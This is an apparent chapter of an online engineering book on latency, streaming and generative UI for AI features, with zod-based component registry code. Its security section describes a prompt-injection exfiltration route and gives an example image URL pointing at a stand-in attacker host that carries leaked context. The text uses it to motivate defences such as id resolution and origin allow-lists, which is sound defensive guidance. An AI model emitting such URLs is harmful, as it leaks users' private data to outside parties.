Skip to content

Latency and Generative UI ​

Make a multi-second answer feel responsive, then let the model pick your components from a fixed allow-list without opening a hole.

In this chapter: time to first token · what to show while the user waits · long-running work · the component registry · the security boundary of model-chosen props

💡 The Core Idea ​

An AI feature's honest floor is hundreds of milliseconds to the first token and several seconds to a full answer. The model makes tokens one at a time, so no engineering removes that wait. You cannot make it fast, so make it feel responsive. Show progress early, keep it moving, give the user something to read.

Once the answer arrives, prose is often the wrong shape. A question about last quarter's revenue wants a chart, a table and a link. Generative UI lets the model choose the component, while your code owns which components exist and what they may receive. The model picks a branch. It does not write code.

Users forgive a slow answer. They do not forgive an interface that shows them nothing.

How It Works ​

The latency budget ​

StageTypicalReducible?
Network to your server20–80 msMarginally
Retrieval50–400 msYes — index, k, reranking
Prompt assembly1–20 msRarely worth it
Time to first token200 ms – 2 sYes — smaller model, shorter prompt, caching
Token generation20–150 tokens/sOnly by generating less

Time to first token is the number users feel. A reply that starts at 400 ms and ends at eight seconds feels better than one that starts at four seconds and ends at five. Retrieval and reranking sit wholly before the first token. In the documentation assistant, a 400 ms reranker delays every visible byte. Prompt length also affects first-token time. That is one more reason to send five good chunks, not twenty.

The page still has an INP target (how fast it responds to input), and a pane that re-renders on every token will fail it. See Core Web Vitals.

What fills the wait ​

DurationShowWhy
Under 300 msNothingA flashed spinner is worse than none
300 ms – 1 sA subtle indicatorAcknowledge the input
1–3 sA named stage: "searching the docs"Progress that means something
3–10 sStreamed contentThe answer itself is the progress bar
Over 10 sStep-by-step progress, a cancel buttonThe user needs control

Teams skip the third row. A stage label is information, not decoration. "Searching the docs" shows how the system read the question, so a user it misread can stop now, not after eight seconds.

Streaming turns one long wait into an early start, then text arriving faster than a person reads. The transport is in Streaming Responses. The interface rules are these:

  • Render each token as it lands. Buffering to sentence ends brings back the wait you paid to remove.
  • Keep the layout stable. Reserve the space, so the container does not reflow on every chunk.
  • Never auto-scroll past the user. Pin to the bottom only while they are already at the bottom.
  • Show a cancel control from the first token. It is the user's only control over time and cost.

Work before the answer arrives ​

Prefetching retrieval on input focus, warming the connection on a keystroke and echoing the user's message at once are close to free. A speculative model call on a likely question is not. An unused call is money spent for nothing, and at scale those wasted calls add up fast.

⚠️ Optimistic UI means less here. You can show at once that a request started. You cannot show the answer early, because you do not know it. An interface that guesses for the user is worse than one that admits it is working.

Long-running work ​

Past ten seconds, a chat window is the wrong shape. A multi-minute agent run needs a background job's tools: a visible plan, step progress, a cancel that really aborts, and a result that survives leaving the page. Show the plan first. Stopping a misread task at step one, not step twelve, saves time and money.

The component registry ​

Registry and renderer — the name is a lookup, the props are validated

tsx
const registry = {
  chart: {
    schema: z.object({
      kind: z.enum(['line', 'bar']),
      series: z.array(z.object({ label: z.string().max(40), value: z.number() })).max(50),
    }),
    Component: Chart,
  },
  citation: {
    schema: z.object({ chunkId: z.string() }),   // an id, not a URL — see below
    Component: Citation,
  },
} as const;

function render(name: string, props: unknown) {
  const entry = registry[name as keyof typeof registry];
  if (!entry) return <Fallback />;                       // unknown name: render nothing special
  const parsed = entry.schema.safeParse(props);
  if (!parsed.success) return <Fallback />;              // bad props: never partially render
  return <entry.Component {...parsed.data} />;
}

Three things make this safe. An unknown name renders a fallback, never anything the model invented. Props are checked before render, so a missing field gives a fallback, not a broken component. Bounds live in the schema, such as 50 points and 40 characters. A model given an open-ended array will sometimes produce a huge one.

The model emits blocks through Structured Output. A discriminated union stops most invalid names at the decoding step, before the fallback is needed.

The output schema — the model can only name components that exist

typescript
const UiBlock = z.discriminatedUnion('component', [
  z.object({ component: z.literal('chart'), props: registry.chart.schema }),
  z.object({ component: z.literal('citation'), props: registry.citation.schema }),
]);

The security boundary ​

Every prop is a value the model produced, partly from documents you do not control. Treat the props as an attack surface.

Prop typeRiskRule
TextInjected instructions shown as factRender as text, never as HTML
URL (href, src)Exfiltration channel, phishing targetAllow-list the origin, or pass an id and resolve it on the server
MarkdownScript, images, arbitrary linksA strict allow-list of tags and attributes
An idSafeResolve on the server against what the user may see
Raw HTMLCross-site scriptingNever

The URL row matters most, as Prompt Injection explains. A model-controlled image source is an outward channel: https://attacker.example/x.png?d=<context> leaks data on render, with no click. A rendering choice has added the third leg of the lethal trifecta.

Pass ids, resolve them on the server. In the documentation assistant, a citation carries a chunk id. The server turns it into a link only if that chunk was retrieved for this user.

⚠️ Rendering model output as Markdown with images turned on is an exfiltration channel unless image sources are restricted. It is the hole most often missed in a generative UI.

Streaming a partial component ​

An object arrives field by field, so a component can render before its props are complete. Show a skeleton until the schema validates. A chart with three of fifty points is wrong, not progressive. Progressive rendering suits text, not anything a user reads as a number. Never fire side effects on partial props, because a partial object is not a decision.

When to Use It ​

FeatureDesign
Chat or documentation assistantStream, stage labels, cancel; text plus citation blocks
Data assistant with varied questionsA registry with chart, table and text blocks
A handful of known answer shapesA classifier picks one of a few templates — no generation
Anything that writes or spendsTemplates, plus an explicit confirmation step
Multi-minute agent runBackground-job UI: plan, progress, cancel, a result that survives

Most "generative UI" requests are met by a classifier choosing one of five layouts. It is faster, cheaper, testable and adds no new security surface. Measure whether generation is needed before building it.

Common Mistakes ​

❌ A spinner for an eight-second wait

It says nothing, and time feels slower. Stream, or at least name the stage.

✅ Name the stage and stream from the first token

"Searching the docs" is progress and a chance to correct. The user can stop a misread request early.

❌ Letting the model supply URLs, HTML or unrestricted Markdown

A model-controlled src or href is an outward channel. Raw HTML is cross-site scripting by a new route.

✅ Validate props against a bounded schema, pass ids, and fall back on failure

A fallback is a fine outcome. A half-rendered component with undefined props is not.

🔑 Key Takeaways ​

  • Time to first token is the latency users feel, and retrieval sits entirely before it.
  • Name the stage, stream each token, keep the layout stable, and never auto-scroll past a reader.
  • Past ten seconds, use a background-job interface with a visible plan, progress, cancel and a lasting result.
  • The model picks from a registry you wrote, and its props pass a bounded schema before anything renders.
  • Model-supplied URLs are an exfiltration channel, so pass ids and resolve them on the server.

Interview Questions ​

Q: The model takes eight seconds. What does the user see?

Not a spinner. Streamed text should start within a few hundred milliseconds, so the wait becomes an early start and then text faster than they read. Before the first token, retrieval is still running, so I name that stage. That feels faster than any model upgrade would, and it is a frontend change.

Q: You add a reranker that improves answers and costs 300 ms. Is it worth it?

It depends where the 300 ms lands, and here it lands wholly before the first visible byte. So it is not a free win. I would want the retrieval eval to show a real recall@5 gain. On a small corpus where the answer is already in the top five, it is pure latency.

Q: What is the risk in rendering components from model output, and how do you contain it?

The output is untrusted input from a system that reads documents an attacker may control. So the model may only name components from my registry, through a discriminated union, and every prop passes a bounded schema. Anything unknown or invalid renders a fallback. The sharp edge is URLs: a model-controlled image source leaks context on render with no click.

Q: When would you not build generative UI?

When the answer shapes are few and predictable, which is most of the time. A classifier choosing among five templates is cheaper, faster, deterministic, testable and adds no security surface. I reach for generation only when the answer varies with the data in ways I cannot list. Anything with side effects stays on a template with explicit confirmation.

The whole book, free to read. Generated from the manuscript on every change.

Your progress

Tick each chapter in the sidebar once you have read and understood it. Your name and email keep the ticks on any device.

Your name and email are stored to save your progress. Nothing else is done with them.